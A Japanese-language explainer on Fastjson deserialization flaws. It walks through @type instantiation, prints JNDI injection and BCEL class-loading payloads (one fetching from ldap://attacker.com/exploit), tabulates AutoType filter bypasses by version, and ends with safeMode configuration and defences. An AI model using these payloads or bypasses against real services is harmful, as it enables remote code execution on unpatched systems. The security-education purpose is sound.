Fastjsonのデシリアライゼーション機構
FastjsonはAlibabaが開発した高性能なJSON処理ライブラリで、JavaオブジェクトとJSON文字列間の相互変換をサポートしています。
基本的な動作原理
public class BasicExample {
public static void main(String[] args) {
String jsonStr = "{\"@type\":\"com.example.User\",\"username\":\"test\",\"age\":25}";
Object obj = JSON.parseObject(jsonStr);
System.out.println(obj);
}
}
@type属性で指定されたクラスをインスタンス化し、JSONデータをオブジェクトにマッピングします。この処理は内部的にリフレクションを利用しています。
脆弱性の発生ポイント
主要な攻撃ベクトルとなるポイント:
- 任意クラスのインスタンス化
- Setterメソッドの自動呼び出し
- キャッシュ機構の悪用
代表的な攻撃手法
JdbcRowSetImplを利用したJNDIインジェクション
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://attacker.com/exploit\"," +
"\"autoCommit\":true}";
JSON.parseObject(payload);
BasicDataSourceを利用したBCELクラスローディング
String maliciousCode = "$$BCEL$$...encodedBytecode...";
String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassName\":\"" + maliciousCode + "\"," +
"\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(payload);
バージョン別の対策と回避手法
| バージョン | 主な対策 | 回避手法 |
|---|---|---|
| 1.2.24以前 | 制限なし | 直接攻撃可能 |
| 1.2.25-1.2.41 | AutoTypeチェック導入 | Lcom.sun.rowset.JdbcRowSetImpl;形式 |
| 1.2.42 | L;形式のチェック強化 | LLcom.sun.rowset.JdbcRowSetImpl;;形式 |
| 1.2.47 | キャッシュ機構の修正 | クラスキャッシュの悪用 |
最新バージョンでの対策
Fastjson 1.2.68以降では以下の対策が実施されています:
- safeModeの導入
- AutoCloseableなどの危険なインターフェースのブロック
- より厳格なクラスローディングチェック
安全な設定例
ParserConfig config = new ParserConfig();
config.setSafeMode(true); // 安全モードを有効化
JSON.parseObject(jsonStr, Object.class, config);
検出と防御
Fastjsonの脆弱性を検出する方法:
// DNSログを使用したバージョン検出
String probe = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"detect.example.com\"}";
try {
JSON.parseObject(probe);
} catch (Exception e) {
// 例外処理
}
効果的な防御策:
- 常に最新バージョンを使用
- safeModeの有効化
- 信頼できないソースからのJSONデータを処理しない
- 厳格な入力検証の実施